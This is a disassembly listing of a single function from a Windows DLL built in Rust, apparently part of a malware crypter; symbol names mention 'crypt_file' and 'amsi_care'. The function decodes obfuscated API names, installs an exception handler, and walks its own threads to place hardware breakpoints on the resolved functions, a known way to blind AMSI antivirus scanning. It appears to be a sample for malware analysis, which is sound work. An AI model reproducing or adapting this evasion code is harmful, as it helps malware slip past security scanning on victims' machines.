Function at 0x10006310
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x328
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x330]
push 0x2c8
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp byte [0x101aa028], 0
mov dword [ebp - 0x334], 0x1003f
jne 0x1000648a
lea eax, [0x10153044]
lea edi, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x5f39dc80
push dword [ebp - 0x3c]
push eax
call sym.obfstr::xref::inner::h0c2e64447258cbc6
add esp, 8
mov ecx, 0x8bfb5972
mov edx, 0xfa784a18
xor ecx, dword [eax]
xor edx, dword [eax + 4]
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], ecx
lea eax, [ebp - 0x50]
lea ecx, [ebp - 0x24]
push 8
push eax
push ecx
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::hc0fc42e4f437b0f1
add esp, 0xc
xor eax, eax
cmp eax, dword [ebp - 0x24]
jno 0x10006960
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
push esi
call sub.kernel32.dll_GetModuleHandleA
test eax, eax
mov dword [ebp - 0x14], esi
jne 0x100063c7
push esi
call sub.kernel32.dll_LoadLibraryA
test eax, eax
je 0x10006917
mov edi, eax
lea eax, [0x1014e417]
lea esi, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x15fa94e5
push dword [ebp - 0x3c]
push eax
call sym.obfstr::xref::inner::h0c015eed2b8d7e7a
add esp, 8
mov ecx, 0x86a13edd
mov edx, 0x8e230260
mov ebx, 0x2381dfb7
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor ebx, dword [eax + 8]
movzx eax, word [eax + 0xc]
xor al, 0xc
xor ah, 0x42
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], ebx
mov byte [ebp - 0x44], al
mov byte [ebp - 0x43], ah
push 0xe
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x24]
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::hc0fc42e4f437b0f1
add esp, 0xc
xor eax, eax
cmp eax, dword [ebp - 0x24]
jno 0x10006993
mov esi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x1c]
push esi
push edi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x10006831
mov edi, dword [ebp - 0x14]
test ebx, ebx
mov byte [0x101aa028], 1
mov dword [0x101aa02c], eax
mov byte [esi], 0
je 0x10006471
push 1
push ebx
push esi
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
mov byte [edi], 0
test eax, eax
je 0x1000648a
push 1
push eax
push edi
call sym.___rust_dealloc
add esp, 0xc
cmp byte [0x101aa030], 0
jne 0x100065c9
lea eax, [0x1015005f]
lea esi, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0xedd0dce1
push dword [ebp - 0x3c]
push eax
call sym.obfstr::xref::inner::hee19dd7680e92c06
add esp, 8
mov ecx, 0x4b4516b9
mov edx, 0xdbda0c70
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, byte [eax + 8]
xor al, 0x1a
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov byte [ebp - 0x48], al
lea ebx, [ebp - 0x50]
lea eax, [ebp - 0x24]
push 9
push ebx
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::hc0fc42e4f437b0f1
add esp, 0xc
xor eax, eax
cmp eax, dword [ebp - 0x24]
jno 0x100069c3
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
push eax
call sub.kernel32.dll_GetModuleHandleA
mov edi, eax
lea eax, [0x1014bfc7]
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x3a526d79
push dword [ebp - 0x3c]
push eax
call sym.obfstr::xref::inner::h89c0d7d350880cf7
add esp, 8
mov ecx, 0x8260712c
mov edx, 0x4f356ce
mov esi, 0xab7e9abb
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
movzx eax, word [eax + 0xc]
xor al, 0x4f
xor ah, 0x13
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], esi
mov byte [ebp - 0x44], al
mov byte [ebp - 0x43], ah
push 0xe
push ebx
lea eax, [ebp - 0x24]
push eax
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::hc0fc42e4f437b0f1
add esp, 0xc
xor eax, eax
cmp eax, dword [ebp - 0x24]
jno 0x100069f3
mov ebx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
push ebx
push edi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x10006867
test esi, esi
mov byte [0x101aa030], 1
mov dword [0x101aa034], eax
mov byte [ebx], 0
je 0x100065ad
push 1
push esi
push ebx
call sym.___rust_dealloc
add esp, 0xc
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov ebx, dword [ebp + 8]
test ecx, ecx
mov byte [eax], 0
je 0x100065c9
push 1
push ecx
push eax
call sym.___rust_dealloc
add esp, 0xc
push sym.__ZN10crypt_file9amsi_care17exception_handler17h8096afee5ed7c19bE_4
push 1
call sub.kernel32.dll_AddVectoredExceptionHandler
xorps xmm0, xmm0
mov esi, eax
movsd qword [ebp - 0x2c], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3c], xmm0
lea eax, [ebp - 0x3c]
push 0
push 0x18
push eax
push 0
push 0xffffffffffffffff
call sub.ntdll.dll_NtQueryInformationProcess
test eax, eax
mov dword [ebp - 0x54], 1
jne 0x10006608
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x54], eax
mov eax, dword [0x1017b554]
movzx eax, byte [eax]
push 1
push 0x100000
call sym.___rust_alloc
add esp, 8
test eax, eax
je 0x10006954
mov dword [ebp - 0x58], 0
lea ecx, [ebp - 0x58]
push ecx
push 0x100000
mov dword [ebp - 0x40], eax
push eax
push 5
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
js 0x100068c6
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x1c], 0
test eax, eax
mov dword [ebp - 0x68], eax
je 0x100068c6
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov dword [ebp - 0x60], esi
mov eax, ecx
add eax, 0xb8
mov dword [ebp - 0x64], eax
nop
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x10], edx
cmp dword [ecx + edx + 0x44], eax
je 0x100066b0
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x10]
mov eax, dword [ecx + edx]
test eax, eax
je 0x1000673c
add edx, eax
cmp edx, dword [ebp - 0x68]
jb 0x10006680
jmp 0x1000673c
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x10]
mov ebx, dword [eax + ecx + 4]
test ebx, ebx
je 0x1000668c
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x10]
lea esi, [eax + ecx]
jmp 0x100066e3
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edi*4], ecx
inc edi
mov dword [ebp - 0x1c], edi
add esi, 0x40
dec ebx
je 0x1000668c
xorps xmm0, xmm0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x50], 0
movsd qword [ebp - 0x2c], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x3c], xmm0
mov eax, dword [esi + 0x24]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0x1fffff
lea eax, [ebp - 0x5c]
push eax
call sub.ntdll.dll_NtOpenThread
test eax, eax
js 0x100066dd
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x5c]
cmp edi, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
jne 0x100066d0
lea eax, [ebp - 0x24]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::grow_one::hc4ddaf7d3644505b
add esp, 4
jmp 0x100066d0
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
test edi, edi
je 0x100068ae
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
push 1
push 0x100000
push ecx
call sym.___rust_dealloc
add esp, 0xc
shl edi, 2
mov dword [ebp - 0x10], esi
nop word cs:[eax + eax]
test esi, esi
je 0x10006812
mov ebx, dword [esi]
lea eax, [ebp - 0x334]
push eax
push ebx
call sub.ntdll.dll_NtGetContextThread
test eax, eax
jne 0x100068ee
cmp byte [0x101aa028], 1
jne 0x100067bd
mov eax, dword [0x101aa02c]
mov dword [ebp - 0x330], eax
movzx eax, word [ebp - 0x31c]
or eax, 1
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x320], 0
cmp byte [0x101aa030], 1
jne 0x100067eb
mov eax, dword [0x101aa034]
mov dword [ebp - 0x32c], eax
movzx eax, word [ebp - 0x31c]
or eax, 4
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x320], 0
lea eax, [ebp - 0x334]
push eax
push ebx
call sub.ntdll.dll_NtSetContextThread
test eax, eax
jne 0x100068ee
add esi, 4
push ebx
call sub.ntdll.dll_NtClose
add edi, 0xfffffffc
jne 0x10006770
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 0x60]
mov dword [ebx + 4], eax
mov dword [ebx], 0x80000000
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1000690c
jmp 0x10006947
mov eax, dword [ebp + 8]
mov edi, dword [ebp - 0x14]
test ebx, ebx
mov dword [eax], 0
mov dword [eax + 4], 1
mov dword [eax + 8], 0
mov byte [esi], 0
je 0x1000692e
push 1
push ebx
push esi
call sym.___rust_dealloc
add esp, 0xc
jmp 0x1000692e
mov eax, dword [ebp + 8]
test esi, esi
mov dword [eax], 0
mov dword [eax + 4], 1
mov dword [eax + 8], 0
mov byte [ebx], 0
je 0x10006891
push 1
push esi
push ebx
call sym.___rust_dealloc
add esp, 0xc
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov ebx, dword [ebp + 8]
test ecx, ecx
mov byte [eax], 0
je 0x10006947
push 1
push ecx
push eax
jmp 0x1000693f
mov ebx, dword [ebp + 8]
test eax, eax
je 0x100068c6
shl eax, 2
push 4
push eax
push dword [ebp - 0x20]
call sym.___rust_dealloc
add esp, 0xc
push 1
push 0x100000
push dword [ebp - 0x40]
call sym.___rust_dealloc
add esp, 0xc
mov dword [ebx], 0
mov dword [ebx + 4], 1
mov dword [ebx + 8], 0
jmp 0x10006947
mov ebx, dword [ebp + 8]
mov dword [ebx], 0
mov dword [ebx + 4], 1
mov dword [ebx + 8], 0
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x10006947
shl eax, 2
push 4
push eax
push dword [ebp - 0x10]
jmp 0x1000693f
mov edi, dword [ebp - 0x14]
mov dword [ebx], 0
mov dword [ebx + 4], 1
mov dword [ebx + 8], 0
mov eax, dword [ebp - 0x10]
mov ebx, dword [ebp + 8]
mov byte [edi], 0
test eax, eax
je 0x10006947
push 1
push eax
push edi
call sym.___rust_dealloc
add esp, 0xc
mov eax, ebx
add esp, 0x328
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x100000
push 1
call sym.alloc::raw_vec::handle_error::he63c9115d026ec98
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x34], xmm1
movsd qword [ebp - 0x3c], xmm0
push 0x10157ab8
push 0x10157a44
push edi
push 0x2b
push 0x10157a54
call sym.core::result::unwrap_failed::h534a40e08cfe968a
add esp, 0x14
jmp 0x10006a24
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x34], xmm1
movsd qword [ebp - 0x3c], xmm0
push 0x10157ac8
push 0x10157a44
push esi
push 0x2b
push 0x10157a54
call sym.core::result::unwrap_failed::h534a40e08cfe968a
add esp, 0x14
jmp 0x10006a24
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x34], xmm1
movsd qword [ebp - 0x3c], xmm0
push 0x10157ad8
push 0x10157a44
push esi
push 0x2b
push 0x10157a54
call sym.core::result::unwrap_failed::h534a40e08cfe968a
add esp, 0x14
jmp 0x10006a24
movsd xmm0, qword [ebp - 0x24]
movsd xmm1, qword [ebp - 0x1c]
movsd qword [ebp - 0x34], xmm1
movsd qword [ebp - 0x3c], xmm0
push 0x10157ae8
push 0x10157a44
lea eax, [ebp - 0x3c]
push eax
push 0x2b
push 0x10157a54
call sym.core::result::unwrap_failed::h534a40e08cfe968a
add esp, 0x14
ud2